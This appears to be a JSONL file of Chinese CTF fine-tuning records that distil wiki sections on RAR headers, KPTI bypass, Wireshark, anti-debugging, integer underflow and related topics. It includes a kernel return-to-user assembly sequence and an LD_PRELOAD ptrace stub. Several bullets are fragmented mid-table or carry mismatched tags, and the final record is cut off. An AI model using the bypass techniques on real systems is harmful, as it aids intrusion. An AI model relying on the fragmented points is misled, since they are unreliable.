{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-50cc0e4005b1891ccabf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/archive/rar.md` 中的章节「文件格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/archive/rar.md`\n标题：RAR 格式\n章节：RAR 格式 > 文件格式\n路径分类：misc / misc/archive/rar.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件格式”展开。\n- Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | FILE_NAME | NAME_SIZE bytes | File name - string of NAME_SIZE bytes size | | SALT | 8 | present if (HEAD_FLAGS & 0x400) !\n- = 0 | | EXT_TIME | variable size | present if (HEAD_FLAGS & 0x1000) !\n- 紧跟着文件头（0x526172211A0700）的是标记块（MARK_HEAD），其后还有文件头（File Header）。\n- Optional value, presents only if bit 0x100 in HEAD_FLAGS is set. | | HIGH_UNP_SIZE | 4 | High 4 bytes of 64-bit value of uncompressed file size.\n- | Field Name | Size (bytes) | Possibilities | | ---------- | ------------ | ------------------- | | HEAD_CRC | 2 | Always 0x3DC4 | | HEAD_TYPE | 1 | Header type: 0x7b | | HEAD_FLAGS | 2 | Always 0x4000 | | HEAD_SIZE | 2 | Block size = 0x0007 | 更多详见 Rar - Fo...\n\n关键术语：\n- misc\n- archive\n- rar.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 2209, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "文件格式", "heading_path": ["RAR 格式", "文件格式"], "original_id": "docs-59922b88592f326a2def", "original_line": 544, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/rar.md", "source_root": "docs", "source_sha256": "f2f4fb19fb197bbe756aa55721943462149d99af3b1c57aa24e359410fa0653e", "split": "train", "split_group_key": "7e3a744fc4c346940669d528", "subcategory": "misc/archive/rar.md", "terms": ["misc", "archive", "rar.md"], "title": "RAR 格式"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/archive/rar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-58292d000038ed47165b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「sysret」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK > sysret\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在使用 sysret 时，我们首先需要确保 rcx 和 r11 为如下的取值 `` rcx, save the rip of the code to be executed when returning to userspace r11, save eflags ` 然后构造如下的栈 ` fake rdi rsp, the stack of the userspace ` 最后跳转至 entry_SYSCALL_64 的如下代码，即可返回到用户态。\n- `assembly SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp swapgs sysretq ``\n\n关键术语：\n- 栈\n- pwn\n- linux\n- kernel-mode\n- defense\n- code:assembly\n\n代码/命令片段线索：\n- plain: 2 行，首行 `rcx, save the rip of the code to be executed when returning to userspace`\n- plain: 2 行，首行 `fake rdi`\n- assembly: 5 行，首行 `SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 337, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "sysret", "heading_path": ["KPTI - Kernel Page Table Isolation", "Attack KPTI", "SWITCH_TO_USER_CR3_STACK", "sysret"], "original_id": "docs-eca54edb5e3f867994a4", "original_line": 679, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "source_root": "docs", "source_sha256": "b88b1df847f13af9b069254f15961f1abf292994651bb55eefb1446127a2cf80", "split": "train", "split_group_key": "bbcdd40c87a49e474e355ada", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "pwn", "linux", "kernel-mode", "defense", "code:assembly"], "title": "KPTI - Kernel Page Table Isolation"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5c1e94418908947098a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/dns.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/dns.md`\n标题：DNS\n章节：DNS > 参考文献\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- https://github.com/lisijie/homepage/blob/master/posts/tech/dns%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90.md - https://xpnsec.tumblr.com/post/157479786806/bsidessf-ctf-dnscap-walkthrough\n\n关键术语：\n- misc\n- traffic\n- protocols\n- dns.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 181, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "参考文献", "heading_path": ["DNS", "参考文献"], "original_id": "docs-d493524789f1b301b9b8", "original_line": 604, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "source_root": "docs", "source_sha256": "0de1f64a240ad47b4864dcc352edcb08b8d8414ae760c1847b2cefa388bfa2eb", "split": "train", "split_group_key": "1e547fd63563b590a6c3cf51", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "dns.md"], "title": "DNS"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5c6df679eea6081f73af", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「使用 Docker 搭建 CTF Pwn 做题环境（推荐）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：使用 Docker 搭建 CTF Pwn 做题环境（推荐）\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用 Docker 搭建 CTF Pwn 做题环境（推荐）”展开。\n- 为了保证利用脚本能够正常打通，我们通常需要在本地准备相同的运行环境，并在进行远程利用之前先在本地进行测试，但由于 CTF 题目远程环境众多，若是为每个不同的环境都单独准备一个 Ubuntu 虚拟机，则不仅要在每个虚拟机上都完整搭建一遍调试环境，且会占用大量磁盘空间，同时也无法保证本地环境小版本和远程环境一定相同——除非每个小版本都单独创建一个虚拟机并永不升级，这种解决方案并不优雅。\n- 通过 LD_PRELOAD 参数在程序执行前 预先加载 libc 在某些程度上是一个可行的解决方案，在 libc 大版本相同的情况下载入不同的小版本通常并不会出现问题，但是由于不同系统环境中 ld 版本不同的缘故，对于跨 ld 版本加载不同版本的 libc 则可能出现 segmentation fault，从而导致无法正常运行与调试题目。\n- 虽然 Linux 的用户环境并不似 Windows 那样有着强壮的二进制前向兼容性，但是用户环境依托于内核环境、依托于内核向用户态暴露的接口——系统调用，而这并不是会轻易发生变动以及兼容性破坏的一个东西，由此，通过重新开辟一个对应的新的用户环境的方式—— 即形如 Docker 这样的操作系统层上的虚拟化方案，我们便能非常简单地搭建不同的 Pwn 题所对应的原始环境。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- environment.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 552, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "misc", "heading": "使用 Docker 搭建 CTF Pwn 做题环境（推荐）", "heading_path": ["使用 Docker 搭建 CTF Pwn 做题环境（推荐）"], "original_id": "docs-21a85374594317fcdae9", "original_line": 42, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "64405261e7e8be1960cc7ea2", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5e42ea4480fe55db8526", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/introduction.md` 中的章节「元数据（Metadata）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/introduction.md`\n标题：图片分析简介\n章节：图片分析简介 > 元数据（Metadata）\n路径分类：misc / misc/picture/introduction.md\n分块：1/1\n\n核心知识点：\n- > 元数据（Metadata），又称中介数据、中继数据，为描述数据的数据（Data about data），主要是描述数据属性（property）的信息，用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。\n- 这类元数据你可以 右键 --> 属性 去查看,也可以通过 strings 命令去查看，一般来说，一些隐藏的信息（奇怪的字符串）常常出现在头部或者尾部。\n- format 用来指定显示的信息，灵活使用它的 -format 参数可以给解题带来不少方便。\n- 元数据中隐藏信息在比赛中是最基本的一种手法，通常用来隐藏一些关键的 Hint 信息或者是一些重要的如 password 等信息。\n- 接下来介绍一个 identify 命令，这个命令是用来获取一个或多个图像文件的格式和特性。\n\n关键术语：\n- ROP/JOP\n- misc\n- picture\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 423, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "元数据（Metadata）", "heading_path": ["图片分析简介", "元数据（Metadata）"], "original_id": "docs-3eef7f710566247073f4", "original_line": 30, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "source_root": "docs", "source_sha256": "ebd475a7ab552a0140dc5e4cbb84be9caa90680da1d6a3312777797eb846adb8", "split": "train", "split_group_key": "e0cc1c42d17596bb70b64ef3", "subcategory": "misc/picture/introduction.md", "terms": ["ROP/JOP", "misc", "picture", "introduction.md"], "title": "图片分析简介"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5e7a005f94050debe9a4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「逆向分析（Reverse）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 逆向分析（Reverse）\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“逆向分析（Reverse）”展开。\n- 工控固件逆向常见的目标是工控工程加密算法、硬编码秘钥、硬编码后门等常见固件逆向漏洞，如果发现了堆栈溢出类漏洞，往往能够导致目标设备宕机（即DOS后果）。\n- 该节主要讨论工控逆向的特点： - 工控操作系统一般为RTOS（Real Time Operate System）,例如vxworks、uc-os等实时操作系统，在逆向前需要对其架构和指令集需要比较熟悉，如果不懂请自行学习。\n- 工控固件往往存在加密和压缩情况，需要在第一步解压过程对其进行解压或解密，这部分依据具体厂商来定，不能一概而论。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "逆向分析（Reverse）", "heading_path": ["ICS_CTF 竞赛", "逆向分析（Reverse）"], "original_id": "docs-ceec726e6ef33bcb5f7c", "original_line": 506, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "dba6082029882f6c4ce0b6d4", "subcategory": "ics/ctfs.md", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5f09f28358dd9eb9ba21", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「显示过滤器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wireshark.md`\n标题：Wireshark\n章节：Wireshark > Wireshark 常用功能介绍 > 显示过滤器\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 显示过滤器可以用很多不同的参数来作为匹配标准，比如IP地址、协议、端口号、某些协议头部的参数。\n- 用户可以将不同的表达式组合起来，让软件显示的数据包范围更加精确。\n- 在数据包列表面板中显示的所有数据包都可以用数据包中包含的字段进行过滤。\n- `` [not] Expression [and|or] [not] Expression `` 经常要用到各种运算符 | 运算符 | 说明 | | ------ | --------- | | == | 等于 | | !\n- = | 不等于 | | > | 大于 | | < | 小于 | | >= | 大于等于 | | <= | 小于等于 | | 与 | and , && | | 或 | or , \\|\\| | | 非 | !\n- 此外，用户也用一些条件工具和串联运算符创建出更加复杂的表达式。\n\n关键术语：\n- misc\n- traffic\n- protocols\n- wireshark.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `[not] Expression [and|or] [not] Expression`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 372, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "显示过滤器", "heading_path": ["Wireshark", "Wireshark 常用功能介绍", "显示过滤器"], "original_id": "docs-b2aead6a1d1d59e64bd3", "original_line": 615, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "source_root": "docs", "source_sha256": "546a3a75ea351917c279b325f09f055f5c2a27216cee4990c2ab27defff3a559", "split": "train", "split_group_key": "5c9f329ac800c9a8390ce850", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "wireshark.md"], "title": "Wireshark"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5f15b1c2674fa21dbb1c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「绕过方法2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-dbg.md`\n标题：Detecting debugging\n章节：gdb test_debug > 绕过方法2\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“绕过方法2”展开。\n- } ` 我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置 ` gdb> set environment LD_PRELOAD ./ptrace.so gdb> run PTRACE CALLED!\n- Program exited with code 015. gdb> `` 可以看到程序无法检测到调试器了. > Reference: Beginners Guide to Basic Linux Anti Anti Debugging Techniques\n- 方法2就是编写自己的ptrace函数 如前几篇所述, LD_PRELOAD环境变量可以将可执行文件指向我们自己的ptrace函数. 我们写一个ptrace函数并生成目标文件 `` c // -- ptrace.c -- // gcc -shared ptrace.c -o ptrace.so int ptrace(int i, int j, int k, int l) { printf(\" PTRACE CALLED!\n\n关键术语：\n- reverse\n- platform\n- linux\n- detect-dbg.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `我们接下来就可以通过设置环境变量LD_PRELOAD来使用我们自己的ptrace函数, 当然这里是可以在gdb中进行设置`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 564, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "绕过方法2", "heading_path": ["gdb test_debug", "绕过方法2"], "original_id": "docs-c4bcfd6e5136273bbd26", "original_line": 1495, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "source_root": "docs", "source_sha256": "0cce4922bb96dc05c163bcf7d51b7f922f5eec0a174642d7ed18962b3e4bcd38", "split": "train", "split_group_key": "93eadf6c58e84c6a23bc058f", "subcategory": "reverse/platform/linux", "terms": ["reverse", "platform", "linux", "detect-dbg.md"], "title": "Detecting debugging"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-62c957a029cf150ebec8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「同步原语」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：Race Condition > 防范 > 同步原语\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“同步原语”展开。\n- 常见的如下 - 锁变量 - 通常互斥琐，在等待期间放弃CPU，进入idle状态，过一段时间自动尝试。\n- 临界区对象，CRITICAL_SECTION - 信号量（semaphore），控制可访问某个临界区的线程数量，一般比1大。\n- 自旋锁（spinlock），在等待期间不放弃CPU，一直尝试。\n- 条件变量 - 条件变量是用来等待而不是用来上锁的。\n- 条件变量用来自动阻塞一个线程，直到某特殊情况发生为止。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 338, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "同步原语", "heading_path": ["Race Condition", "防范", "同步原语"], "original_id": "docs-035d6087aa31e6ebacab", "original_line": 1223, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "22bac22dc5c45ef4d9e32f7d", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6a5ec0f88a0f1e0dd852", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（3）浮点寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x02 寄存器 > （3）浮点寄存器\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（3）浮点寄存器”展开。\n- 使用浮点寄存器需要处理器支持相应的浮点扩展指令集，如 F（单精度）或 D（双精度）。\n- RISC-V 架构在支持浮点扩展（如 F 和 D 扩展）时，提供了一组专用的浮点寄存器，用于浮点数的计算和数据存储。\n- RISC-V 定义了 32 个浮点寄存器，编号为 f0 到 f31，每个寄存器通常为 32 位（单精度，RV32F）或 64 位（双精度，RV64D），具体取决于所实现的浮点扩展。\n- ft 为调用者保存（Caller-saved），fs 为被调用者保存（Callee-saved）。\n- | 寄存器编号 | ABI 名称 | 用途说明 | |------------|----------|---------------------| | f0-f7 | ft0-ft7 | 临时寄存器 | | f8-f9 | fs0-fs1 | 保存寄存器 | | f10-f17 | fa0-fa7 | 函数参数/返回值 | | f18-f27 | fs2-fs11 | 保存寄存器 | | f28-f31 | ft8-ft11 | 临时寄存器 | 注意事项： - 浮点寄存器的 ABI 命名与整数寄存器类似，但前...\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 585, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（3）浮点寄存器", "heading_path": ["Risc-V", "0x02 寄存器", "（3）浮点寄存器"], "original_id": "docs-1a8fd9281eca822833b5", "original_line": 114, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "d6bbe2987ba2514fddd25c29", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-6a604766f03b609258f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「配置方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wireshark.md`\n标题：Wireshark\n章节：Wireshark > Wireshark 常用功能介绍 > 显示过滤器 > 配置方法\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“配置方法”展开。\n- note ​ 复杂的过滤命令可以直接通过第三种方式得到过滤语法\n- 文件: ./figure/filter_window.png] 2. 借助于工具条的输入栏 [图片: filter_tool;\n- 文件: ./figure/filter_tool.png] 3. 将数据包某个属性值指定为过滤条件 [图片: filter_select;\n- 1. 借助于过滤器窗口 [图片: filter_window;\n- 文件: ./figure/filter_select.png] !\n\n关键术语：\n- misc\n- traffic\n- protocols\n- wireshark.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 242, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "配置方法", "heading_path": ["Wireshark", "Wireshark 常用功能介绍", "显示过滤器", "配置方法"], "original_id": "docs-b436372d980a87e0af1a", "original_line": 616, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "source_root": "docs", "source_sha256": "546a3a75ea351917c279b325f09f055f5c2a27216cee4990c2ab27defff3a559", "split": "train", "split_group_key": "83aa05828d71ebc7339df4b4", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "wireshark.md"], "title": "Wireshark"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7143c7909895f81e40a0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「下界溢出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`\n标题：整数溢出\n章节：assembly code > 下界溢出\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下界溢出”展开。\n- 下届溢出的道理和上界溢出一样，在汇编代码中，只是把 add 替换成了 sub。\n- 一样也是有两种情况： 第一种是 sub 0x0000, 1 == 0xffff，对于有符号来说 0 - 1 == -1 没问题，但是对于无符号来说就成了 0 - 1 == 65535。\n- 第二种是 sub 0x8000, 1 == 0x7fff，对于无符号来说是 32768 - 1 == 32767 是正确的，但是对于有符号来说就变成了 -32768 - 1 = 32767。\n\n关键术语：\n- 边界/溢出\n- pwn\n- linux\n- user-mode\n- integeroverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 247, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "下界溢出", "heading_path": ["assembly code", 